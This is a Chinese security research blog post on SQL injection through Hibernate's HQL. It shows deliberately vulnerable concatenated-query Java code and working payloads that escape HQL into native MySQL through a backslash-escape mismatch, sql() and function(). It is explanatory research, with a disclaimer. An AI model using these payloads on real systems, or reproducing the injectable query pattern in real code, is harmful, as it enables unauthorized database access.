HQL注入深入利用

admin 2024年8月2日16:25:03评论20 views字数 5192阅读17分18秒阅读模式

HQL注入深入利用

村护第1day,闲来无事,更新笔记。

HQL注入深入利用

本文主要是针对Hibernate框架产生的SQL注入进行深入研究,网上的文章千篇一律的都是针对HQL语言的注入,利用方式有限。其实国外早在2015年就发过关于Hibernate框架的逃逸姿势,但只是针对低版本的。

Hibernate框架

Hibernate是一种ORM框架,它是支持使用原生SQL或HQL语言(Hibernate框架自己的语言)进行SQL操作的

通常使用Hibernate框架都是使用HQL语言方式进行查询

1、原生SQL语句

String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema=?");
query.setParameter(1, parameter);

2、HQL语句

将数据库tables映射为相关的类,通过此类进行数据查询,使用的是HQL自己的语言

String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema = ?1", User.class);
query.setParameter(1, parameter);

HQL注入

HQL注入就是利用Hibernate框架产生的注入点,按照查询方式不同也分为两种注入

原生SQL语句拼接导致注入

String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema='"+parameter+"'");

这种因为使用的数据库原生的语句,使用对应数据库SQL语句进行拼接注入即可,无任何限制。

HQL语句拼接导致注入

String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema='"+parameter+"'", User.class);

1、Hibernate框架首先会去解析createQuery()函数中语句是否符合HQL语法,不符合则会HQL语法错误

2、符合HQL语法后,HQL框架会将语句解析成对应数据库的原生SQL语句

3、最后将原生SQL语句去数据库中进行查询获取结果,此时原生SQL语句如果不正确则会导致数据库层面的报错(不同数据库则是不同的报错了)

HQL注入深入利用

上面是HQL语法的语句、下面则是HQL引擎转换的mysql数据库支持的SQL语句

简单HQL层面注入

网上搜了好多HQL注入的文章,基本都是在HQL层面进行注入,HQL注入大部分遇到的都是这种情况下的注入

按照HQL的语法搭建的环境

1、information_schema.tables表名映射为com.demo.bean.User类
2、table_name字段映射为tablename
3、table_schema字段映射为tableschema

HQL注入深入利用

1、正常查询

?name=mysql

HQL注入深入利用

2、union查询在5.6.15版本之前不支持

name=mysql' union select 1,'2   #报错

HQL注入深入利用

6.x版本开始支持union查询,但是也只能利用HQL语法

name=mysql' union from User where '1'='1 

3、多行注释/**/,在5.6.15版本之前不支持,在6.0.1开始支持多行注释

?name=mysql'and/**/'1'='1  #报错

HQL注入深入利用

HQL注入深入利用

不能使用单行注释#+--+

?name=mysql'and/**/'1'='1'+--+  #报错
?name=mysql'and/**/'1'='1'#   #报错
?name=mysql'and#%0d%0a'1'='1  #报错

HQL注入深入利用

HQL注入深入利用

HQL注入深入利用

4、可以使用子查询,但必须是HQL已经映射的表和字段

name=mysql' and (select tablename from User where tablename='user')='user

HQL注入深入利用

未映射的表不能查询

name=mysql' and (select tablename from information_schema.tables)='1  #报错

HQL注入深入利用

未映射的字段名不能查询

name=mysql' and (select table_name from User)='1 #报错

HQL注入深入利用

映射后表名、列名大小写敏感

?name=mysql'and(select Tablename from User)='1  #报错
?name=mysql'and(select tablename from user)='1  #报错

HQL注入深入利用

HQL注入深入利用

5、不支持*查询

?name=mysql' and (select * from User where tablename='user')='user

HQL注入深入利用

那利用HQL能查什么呢?

最早追溯到一篇HQL分析文章:https://blog.h3xstream.com/2014/02/hql-for-pentesters.html

还有一个最新出的工具HQLmap:https://github.com/PaulSec/HQLmap

1、如果有报错信息的话,那就根据报错回显去看表名、列名,根据表名进行盲注或报错注入查询数据。或者根据回显去猜测可能存在的表名和列名,然后进行查询数据

2、如果没有报错信息的话

使用and或or进行列名的枚举

?name=mysql' and xxxxx = '1

HQL注入深入利用

HQL注入深入利用

使用子查询进行表名枚举

?name=mysql'or+(select+1+from+XXXX+where+1=2)='1

HQL注入深入利用

HQL注入深入利用

主要还是拼的字典的好坏

逃逸HQL层面注入

因为HQL框架不管你HQL语句是什么,最终还是要转为SQL语句在数据库中进行查询的。

下面主要以MYSQL数据库进行研究,当然不同版本HQL逃逸方式是不同的。

HQL注入深入利用

正常union查询肯定是不行的

HQL注入深入利用

低于5.x版本逃逸

1、在5.6.15之前,WHERE子句中是可以使用用户自定义函数的,这就说明数据库本身的函数也是可以使用的

https://docs.jboss.org/hibernate/orm/5.6/userguide/html_single/Hibernate_User_Guide.html#hql-user-defined-functions

updatexml()
version()

HQL注入深入利用

2、经过大量文章查询,在5.6.15版本之前,存在着对单引号转义的差异导致的逃逸问题

https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf

https://blog.sonarsource.com/exploiting-hibernate-injections

https://ultramangaia.github.io/blog/2017/pwn2win-ctf-2017.html

https://www.slideshare.net/slideshow/orm2pwn-exploiting-injections-in-hibernate-orm/55555661

在HQL语言,字符串和常规SQL语句一样都是使用单引号包裹

from Tables where name = 'mysql'

引擎是不会对字符串里面的内容进行解析的

当在字符串中加入一个转译字符

from Tables where name = 'mysql'

HQL引擎是不识别转译字符的,它会将tony作为一个字符串,原封不动的转为mysql语句

HQL注入深入利用

此处就导致了一个差异,mysql是识别转译字符的,所以爆了语法错误

然后利用这个差异,构造一个HQL以为是字符串,但转为mysql变成语句的POC即可

mysql''and+1=2+union+select+user(),version()#

拼接HQL语句,此时mysql''and+1=2+union+select+user(),version()#是一整个字符串,所以引擎不去解析

from Tables where name = 'mysql''and+1=2+union+select+user(),version()#'

最后转为SQL语句,逃逸成功执行union语句

HQL注入深入利用

HQL注入深入利用

高于6.x 版本逃逸

1、从6.0.1.Final版本开始,测试发现转译符失效

'mysqla'  =>  'mysql\a'
'mysql'   =>  'mysql\'
'mysql''  =>  'mysql'''
'mysql''' =>  'mysql'''''

从6.1.7.Final版本开始又有了变化

'mysqla'  =>  'mysql\a'
'mysql'   =>  'mysql\'
'mysql''  =>  'mysql\''
'mysql''' =>  'mysql\'''
'mysql\'  =>  'mysql\\'

所以无法使用此方式逃逸了

2、在6.x版本中发现新增了一个sql()函数,在5.x版本是不支持的

https://docs.jboss.org/hibernate/orm/6.0/userguide/html_single/Hibernate_User_Guide.html#hql-function-sql

HQL注入深入利用

意思就是可以执行SQL语句,主要是两种方式

sql('select 1,2,3')
sql('select 1,2,?','3')

1、第一种是将函数里面的字符串直接拼接SQL语句中,然后去执行

HQL注入深入利用

HQL注入深入利用

2、第二种就是将后面参数预编译替换占位符?,然后再拼接到SQL语句中执行

HQL注入深入利用

HQL注入深入利用

既然是以字符串拼接的方式进行解析,那就能构造出poc进行利用

?name=mysql' and sql('1=2 union select table_name,table_schema from information_schema.tables#')='1

HQL注入深入利用

下面是最终解析完的sql语句,成功逃逸

HQL注入深入利用

通用版本逃逸

上面6.x版本提到了一个sql()函数,但是只能6.x版本可用

但是发现有一个函数在5.x和6.x都能使用,那就是JPQL语言的function()函数

什么是JPQL语言可以自己去了解一下,在Hibernate框架中是同时支持JPQL语言和HQL语言的

https://docs.jboss.org/hibernate/orm/5.6/userguide/html_single/Hibernate_User_Guide.html#hql-user-defined-functions-where-clause

HQL注入深入利用

function()函数是用来调用自定义函数或数据库自带函数的,和某些动态函数调用差不多吧

function('version') => version()
function('updatexml',1,1,1) => updatexml(1,1,1)
function('aaaa''bbbb',1,1,1) => aaaa''bbbb(1,1,1) 5.x版本
function('aaaa''bbbb',1,1,1) => aaaa'bbbb(1,1,1)  6.x版本

它首先将第一参数作为函数名,随后拼接一个括号,后面的参数则是括号里的内容

function()函数的利用和sql()函数一样,是直接拼接在解析后的SQL语句中的,而且第一参数的内容没有任何限制

这样就可以构造一个可利用POC了

?name=mysql' and function('1=2 union select table_name,table_schema from information_schema.tables#')='

HQL注入深入利用

HQL注入深入利用

这里注意function函数会在后面添加一对括号,可以使用单行注释进行注释

上面只是研究了针对mysql的高低版本逃逸姿势,至于其他数据库pg、oracle、mssql的逃逸方式基本上也一样

如果有其他逃逸方式可以加好友沟通一起研究

转载需标明出处:XG小刚

原文始发于微信公众号(XG小刚):HQL注入深入利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月2日16:25:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HQL注入深入利用https://cn-sec.com/archives/2984707.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息